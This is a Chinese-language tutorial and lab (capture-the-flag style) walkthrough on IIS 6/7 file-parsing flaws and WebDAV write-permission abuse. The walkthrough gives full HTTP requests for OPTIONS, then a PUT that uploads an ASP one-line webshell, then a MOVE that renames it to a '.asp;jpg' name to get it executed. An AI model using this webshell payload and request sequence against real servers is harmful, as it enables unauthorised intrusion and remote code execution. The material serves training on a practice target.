ASP-IIS中间件文件解析与写权限

IIS文件解析

IIS 6 解析漏洞

1、该版本默认会将*.asp;.jpg 此种格式的文件名，当成Asp解析

2、该版本默认会将*.asp/目录下的所有文件当成Asp解析。

如：logo.asp;.jpg xx.asp/logo.jpg

IIS 7.x 解析漏洞

在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为php文件

应用场景：配合文件上传获取Webshell

IIS写权限

IIS<=6.0 目录权限开启写入，开启WebDAV，设置为允许

墨者学院一道题目-IIS写权限漏洞分析溯源题目链接

知识点： 1.iis put写权限漏洞 2.iis6文件名解析漏洞

工具： burpsuite AntswordAntSword-Loader

IP地址 : 219.153.49.228 端口 : 48336 协议 : http 其他 : [点击访问]

1.直接访问靶场，并使用burpsuite抓包 http://219.153.49.228:48336 显示页面：

原始包：

2.利用iis写权限漏洞使用PUT上传文件txt 用OPTIONS，观察返回，Allow存在PUT 请求包：

OPTIONS / HTTP/1.1
Host: 219.153.49.228:48336
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cacheOPTIONS

响应包：

HTTP/1.1 200 OK
Connection: close
Date: Mon, 19 Oct 2020 07:41:00 GMT
Server: Microsoft-IIS/6.0
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Cache-Control: private

利用iisput写权限漏洞

PUT /a.txt HTTP/1.1
Host: 219.153.49.228:48336
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 24

<%exECuTe ReqUEst(0)%>
HTTP/1.1 201 Created
Connection: close
Date: Mon, 19 Oct 2020 07:35:54 GMT
Server: Microsoft-IIS/6.0
Location: http://219.153.49.228/a.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK

成功写入

3.MOVE修改文件名（利用iis解析漏洞）

Destination:/222.asp;jpg

MOVE /a.txt HTTP/1.1
Host: 219.153.49.228:48336
Destination:/222.asp;jpg
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 2
HTTP/1.1 207 Multi-Status
Connection: close
Date: Mon, 19 Oct 2020 07:37:17 GMT
Server: Microsoft-IIS/6.0
Location: http://219.153.49.228/222.asp;jpg
Content-Type: text/xml
Content-Length: 182

<?xml version="1.0"?><a:multistatus xmlns:a="DAV:"><a:response><a:href>http://219.153.49.228/a.txt</a:href><a:status>HTTP/1.1 401 Unauthorized</a:status></a:response></a:multistatus>